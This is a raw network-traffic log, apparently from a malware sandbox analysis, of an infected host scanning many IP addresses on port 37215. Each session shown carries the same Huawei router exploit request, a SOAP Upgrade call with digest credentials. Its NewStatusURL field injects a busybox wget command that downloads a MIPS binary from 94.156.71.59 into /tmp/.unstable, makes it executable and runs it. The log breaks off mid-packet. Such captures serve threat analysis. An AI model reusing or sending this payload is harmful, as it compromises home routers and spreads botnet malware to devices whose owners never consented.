HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.13	60388	197.149.113.57	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.973932981 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.13	44740	41.38.164.93	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.974792004 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.13	36530	156.231.3.185	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.975667000 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.13	34932	197.9.107.34	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.976496935 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.13	60878	41.140.184.247	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.977354050 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.13	60256	41.204.133.93	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.978245974 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.13	45156	197.37.79.4	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.979090929 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.13	35362	41.117.93.142	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.979939938 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.13	35420	197.64.121.194	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.980839014 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.13	41120	41.186.239.153	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.981700897 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.13	60620	41.144.136.243	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.982567072 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 